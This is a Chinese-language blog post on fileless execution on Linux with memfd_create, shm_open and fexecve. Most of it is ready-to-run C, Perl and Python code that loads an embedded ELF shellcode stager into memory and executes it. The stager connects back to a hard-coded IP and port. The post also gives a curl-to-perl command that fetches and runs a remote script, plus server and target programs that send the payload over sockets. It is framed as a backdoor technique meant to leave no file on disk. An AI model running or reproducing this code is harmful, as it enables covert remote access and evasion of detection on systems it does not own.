Linux无文件执行

January 15, 2021 Linux 访问: 192 次

无文件执行

memfd_create

该函数是用来创建一个匿名的文件,头文件是#include <sys/mman.h>

参数一:创建文件的名字
参数二:<linux/memfd.h>

       MFD_CLOEXEC
              在新文件上设置close-on-exec(FD_CLOEXEC)标志描述符

       MFD_ALLOW_SEALING
              允许对此文件进行密封操作。

       MFD_HUGETLB (since Linux 4.14)
              匿名文件将在hugetlbfs中创建

文件系统使用巨大的页面

       MFD_HUGE_2MB, MFD_HUGE_1GB, ...
              与MFD_HUGETLB一起用于选择替代方案上的hugetlb页大小(分别为2 MB、1 GB…)支持多种hugetlb页面大小的系统。
              header file <linux/memfd.h>

fexecve

glibc2.3.2版本开始提供fexecv()函数,它与execve()的区别在于,第一个参数使用的是打开的文件描述符,而非文件路径名。

#include <unistd.h>
int fexecve(int fd, char *const argv[], char *const envp[]);

用法:

char *argv[] = {"/bin/sh",NULL};
char *env[] = {NULL};
int fd,fd_2;
fd_2 = syscall(SYS_memfd_create,FILENAME,MFD_CLOEXEC);
fexecve(fd_2,argv,env);

操作/dev/shm目录

/dev/shm这个目录其实是ARM,我们可以直接在内存上创建文件,然后去执行

memfd_create配合fexecve

memfd_create该函数只是存在于内核在3.17或者更高的版本中

//gcc exp.c -o exp
#include<stdio.h>
#include<sys/sendfile.h>
#include<stdlib.h>
#include<strings.h>
#include <unistd.h>
#include<fcntl.h>
#include <errno.h>
#include<sys/syscall.h>
#include <linux/memfd.h>
#include <sys/stat.h>
#define FILENAME "no_elf"
#define PAYLOAD "\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x3e\x00\x01\x00\x00\x00\x78\x00\x40\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x38\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\xfa\x00\x00\x00\x00\x00\x00\x00\x7c\x01\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x48\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9\x6a\x22\x41\x5a\xb2\x07\x0f\x05\x48\x85\xc0\x78\x51\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00\x11\x5c\x0a\xd3\x37\x10\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58\x6a\x01\x5f\x0f\x05\x5e\x6a\x26\x5a\x0f\x05\x48\x85\xc0\x78\xed\xff\xe6"
#define SIZE 0x100

int main()
{
    setbuf(stdin,0);
    setbuf(stdout,0);
    setbuf(stderr,0);
    int fd,fd_2,filesize;
    char *data;
    char *argv[] = {NULL};
    char *env[] = {NULL};
    printf("pid,%d",getpid());
    fd_2 = syscall(SYS_memfd_create,FILENAME,MFD_CLOEXEC);
    write(fd_2,PAYLOAD,SIZE);
    fexecve(fd_2,argv,env);
    free(data);
    return 0;
}

终端运行exp,会显示一个pid,查看该进程的cmdline,发现无
saxfkq.jpg

shm_open配合fexecve

该函数最主要的操作也是默认的操作就是在/dev/shm/下面,建立一个文件
参数一:文件名
参数二:以什么样的方式返回一个文件指针
参数三:以什么权限创建文件

shm_open更通用一些,没有linux版本限制

exp:

#include<stdio.h>
#include<stdlib.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <fcntl.h>
#define FILENAME "no_elf"
#define PAYLOAD "\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x3e\x00\x01\x00\x00\x00\x78\x00\x40\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x38\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\xfa\x00\x00\x00\x00\x00\x00\x00\x7c\x01\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x48\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9\x6a\x22\x41\x5a\xb2\x07\x0f\x05\x48\x85\xc0\x78\x51\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00\x11\x5c\x0a\xd3\x37\x10\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58\x6a\x01\x5f\x0f\x05\x5e\x6a\x26\x5a\x0f\x05\x48\x85\xc0\x78\xed\xff\xe6"
#define SIZE 0x100
int main()
{
    setbuf(stdin,0);
    setbuf(stdout,0);
    setbuf(stderr,0);
    printf("pid,%d",getpid());
    int fd;
    char *argv[] = {NULL};
    char *env[] = {NULL};
    fd = shm_open(FILENAME,O_RDWR|O_CREAT,0777);
    if(fd<0)
    {
        printf("shm_open error!");
    }
    write(fd,PAYLOAD,SIZE);
    close(fd);
    fd = shm_open(FILENAME,O_RDONLY,0);
    fexecve(fd,argv,env);
    return 0;
}

效果和第二种方法一样

需要注意一点的是,当我们第一次通过shm_open来打开一个fd的时候,紧接着执行fexecve会出现Text file busy,所以我们需要关闭fd,重新以O_RDONLY方式来打开

假如fexecve不存在

可以自己写一个实现相同功能的函数

int my_fexecve (int fd, char **arg, char **env) {
  char  fname[1024];
  snprintf (fname, 1024, "/proc/%d/fd/%d", getpid(), fd);
  return execve (fname, arg, env);
}

Perl环境下进行无文件执行

先利用perl -e '$/=\32;print"print \$FH pack q/H*/, q/".(unpack"H*")."/\ or die qq/write: \$!/;\n"while(<>)' ./shell.elf生成payload的perl的代码

perl 代码:

my $name = "";
my $fd = syscall(319, $name, 1);
if (-1 == $fd) {
        die "memfd_create: $!";
}
open(my $FH, '>&='.$fd) or die "open: $!";
select((select($FH), $|=1)[0]);
print $FH pack q/H*/, q/7f454c4602010100000000000000000002003e00010000007800400000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/4000000000000000000000000000000000000000400038000100000000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/0100000007000000000000000000000000004000000000000000400000000000/ or die qq/write: $!/;
print $FH pack q/H*/, q/fa000000000000007c0100000000000000100000000000004831ff6a095899b6/ or die qq/write: $!/;
print $FH pack q/H*/, q/104889d64d31c96a22415ab2070f054885c078516a0a4159506a2958996a025f/ or die qq/write: $!/;
print $FH pack q/H*/, q/6a015e0f054885c0783b489748b90200115c0ad33710514889e66a105a6a2a58/ or die qq/write: $!/;
print $FH pack q/H*/, q/0f05594885c0792549ffc97418576a23586a006a054889e74831f60f0559595f/ or die qq/write: $!/;
print $FH pack q/H*/, q/4885c079c76a3c586a015f0f055e6a265a0f054885c078edffe6/ or die qq/write: $!/;
exec {"/proc/$$/fd/$fd"} "test_1", "-addr", "4444" or die "exec: $!";
chomp (my $one=<STDIN>);

curl配合perl代码执行

将上面的perl的代码放到远程服务器上

curl 10.211.55.16:8888/my_shell.pl | perl

Python环境下进行无文件执行

其实还是通过python来执行memfd_create函数

python代码:

import os
import ctypes
payload = "\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x3e\x00\x01\x00\x00\x00\x78\x00\x40\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x38\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\xfa\x00\x00\x00\x00\x00\x00\x00\x7c\x01\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x48\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9\x6a\x22\x41\x5a\xb2\x07\x0f\x05\x48\x85\xc0\x78\x51\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00\x11\x5c\x0a\xd3\x37\x10\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58\x6a\x01\x5f\x0f\x05\x5e\x6a\x26\x5a\x0f\x05\x48\x85\xc0\x78\xed\xff\xe6"

fd = ctypes.CDLL(None).syscall(319,"no_elf",1)# memfd_create
pid = os.getpid()
print pid

file_fd = open('/proc/self/fd/'+str(fd),'wb')
file_fd.write(payload)
file_fd.close()
os.execl("/proc/self/fd/"+str(fd),'','')

实现效果和第二种一样

Python环境下利用socket发送payload

服务端:

#!/usr/bin/python3
import socket
from my_print import print_log
payload = "7f454c4602010100000000000000000002003e0001000000780040000000000040000000000000000000000000000000000000004000380001000000000000000100000007000000000000000000000000004000000000000000400000000000fa000000000000007c0100000000000000100000000000004831ff6a095899b6104889d64d31c96a22415ab2070f054885c078516a0a4159506a2958996a025f6a015e0f054885c0783b489748b90200115c0ad33710514889e66a105a6a2a580f05594885c0792549ffc97418576a23586a006a054889e74831f60f0559595f4885c079c76a3c586a015f0f055e6a265a0f054885c078edffe6"
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM,0)
s.bind(("0.0.0.0",9999))
print_log(s.getsockname(),2)
s.listen(5)
client_socket, addr = s.accept()
print("client info:",end="")
print_log(addr,1)
client_socket.send(payload.encode("utf-8"))#发送一句话
client_socket.close()
s.close()

'''
\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x3e\x00\x01\x00\x00\x00\x78\x00\x40\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x38\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\xfa\x00\x00\x00\x00\x00\x00\x00\x7c\x01\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x48\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9\x6a\x22\x41\x5a\xb2\x07\x0f\x05\x48\x85\xc0\x78\x51\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00\x11\x5c\x0a\xd3\x37\x10\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58\x6a\x01\x5f\x0f\x05\x5e\x6a\x26\x5a\x0f\x05\x48\x85\xc0\x78\xed\xff\xe6
'''

靶机:

import os
import ctypes
import socket
import binascii
s = socket.socket()
s.bind(('0.0.0.0',12345))
print(s.getsockname())
s.connect(('10.211.55.2',9999))
payload = s.recv(500)
s.close()

payload = binascii.a2b_hex(payload)
fd = ctypes.CDLL(None).syscall(319,"no_elf",1)# memfd_create
pid = os.getpid()
print(pid)

file_fd = open('/proc/self/fd/'+str(fd),'wb')
file_fd.write(payload)
file_fd.close()
os.execl("/proc/self/fd/"+str(fd),'','')

首先现在服务端把socket服务启动,然后再靶机上运行该脚本即可无文件运行

C语言环境下利用socket发送payload

服务端:

#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<unistd.h>
#include<fcntl.h>
#include<sys/syscall.h>
#include<linux/memfd.h>
#include<sys/stat.h>

#include<sys/socket.h>
#include<arpa/inet.h>



#define PAYLOAD "\x7f\x45\x4c\x46\x02\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x3e\x00\x01\x00\x00\x00\x78\x00\x40\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x38\x00\x01\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x07\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\x00\x00\x40\x00\x00\x00\x00\x00\xfa\x00\x00\x00\x00\x00\x00\x00\x7c\x01\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00\x00\x00\x00\x48\x31\xff\x6a\x09\x58\x99\xb6\x10\x48\x89\xd6\x4d\x31\xc9\x6a\x22\x41\x5a\xb2\x07\x0f\x05\x48\x85\xc0\x78\x51\x6a\x0a\x41\x59\x50\x6a\x29\x58\x99\x6a\x02\x5f\x6a\x01\x5e\x0f\x05\x48\x85\xc0\x78\x3b\x48\x97\x48\xb9\x02\x00\x11\x5c\x0a\xd3\x37\x10\x51\x48\x89\xe6\x6a\x10\x5a\x6a\x2a\x58\x0f\x05\x59\x48\x85\xc0\x79\x25\x49\xff\xc9\x74\x18\x57\x6a\x23\x58\x6a\x00\x6a\x05\x48\x89\xe7\x48\x31\xf6\x0f\x05\x59\x59\x5f\x48\x85\xc0\x79\xc7\x6a\x3c\x58\x6a\x01\x5f\x0f\x05\x5e\x6a\x26\x5a\x0f\x05\x48\x85\xc0\x78\xed\xff\xe6"
#define SIZE 0x100
#define PORT 12345

int main()
{
    setbuf(stdin,0);
    setbuf(stdout,0);
    setbuf(stderr,0);
    int s = socket(AF_INET,SOCK_STREAM,0);
    int return_val=0;
    if(s == -1)
    {
        puts("socket error!");
        exit(0);
    }
    struct sockaddr_in server_info;
    memset(&server_info,0,sizeof(struct sockaddr_in));
    server_info.sin_family = AF_INET;
    server_info.sin_port=htons(PORT);
    server_info.sin_addr.s_addr=inet_addr("0.0.0.0");

    return_val = bind(s,(struct sockaddr *)&server_info,sizeof(struct sockaddr_in));
    if(return_val == -1)
    {
        printf("bind error!");
        exit(0);
    }

    return_val = listen(s,5);
    if(return_val == -1)
    {
        printf("listen error!");
        exit(0);
    }
    struct sockaddr_in client_info;
    memset(&client_info,0,sizeof(struct sockaddr_in));
    int client_info_len=sizeof(struct sockaddr_in);
    int c = accept(s,(struct sockaddr *)&client_info,&client_info_len);
    if(c == -1)
    {
        printf("accept error!");
        exit(0);
    }
    printf("成功接收到一个客户端:%s:%d\n", inet_ntoa(client_info.sin_addr),ntohs(client_info.sin_port));


    return_val = send(c,PAYLOAD,SIZE,0);
    if(return_val == -1)
    {
        printf("send error!");
        exit(0);
    }
    printf("send success!");
    close(c);
    close(s);
    return 0;
}

靶机:

#include<sys/socket.h>
#include<arpa/inet.h>
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
#include<unistd.h>//close 
#include<sys/syscall.h>
#include<linux/memfd.h>
#include<sys/stat.h>
#define FILENAME "no_elf"
#define SIZE 0x100

int main()
{
    setbuf(stdin,0);
    setbuf(stdout,0);
    setbuf(stderr,0);
    struct sockaddr_in server_info,client_info;
    int return_val=0;
    memset(&server_info,0,sizeof(struct sockaddr_in));
    memset(&client_info,0,sizeof(struct sockaddr_in));

    server_info.sin_family=AF_INET;
    server_info.sin_port = htons(12345);
    server_info.sin_addr.s_addr = inet_addr("10.211.55.7");

    client_info.sin_family=AF_INET;
    client_info.sin_port = htons(10086);
    client_info.sin_addr.s_addr = inet_addr("0.0.0.0");


    int s = socket(AF_INET,SOCK_STREAM,0);
    if(s == -1)
    {
        puts("socket error!");
        exit(0);
    }
    
    return_val = bind(s,(struct sockaddr *)&client_info,sizeof(struct sockaddr_in));// set port 
    if(return_val == -1)
    {
        printf("bind error!");
        exit(0);
    }

    return_val = connect(s,(struct sockaddr *)&server_info,sizeof(struct sockaddr_in));
    if(return_val == -1)
    {
        printf("connect error!");
        exit(0);
    }
    printf("connect success!\n");
    char *message = malloc(SIZE);
    recv(s,message,SIZE,0);
    int fd,fd_2,filesize;
    char *argv[] = {NULL};
    char *env[] = {NULL};
    printf("pid,%d",getpid());
    fd_2 = syscall(SYS_memfd_create,FILENAME,MFD_CLOEXEC);
    write(fd_2,message,SIZE);
    fexecve(fd_2,argv,env);
    close(s);
}

referer

linux一种无文件后门技巧
memfd_create(2) — Linux manual page
Linux系统内存执行ELF的多种方式

添加新评论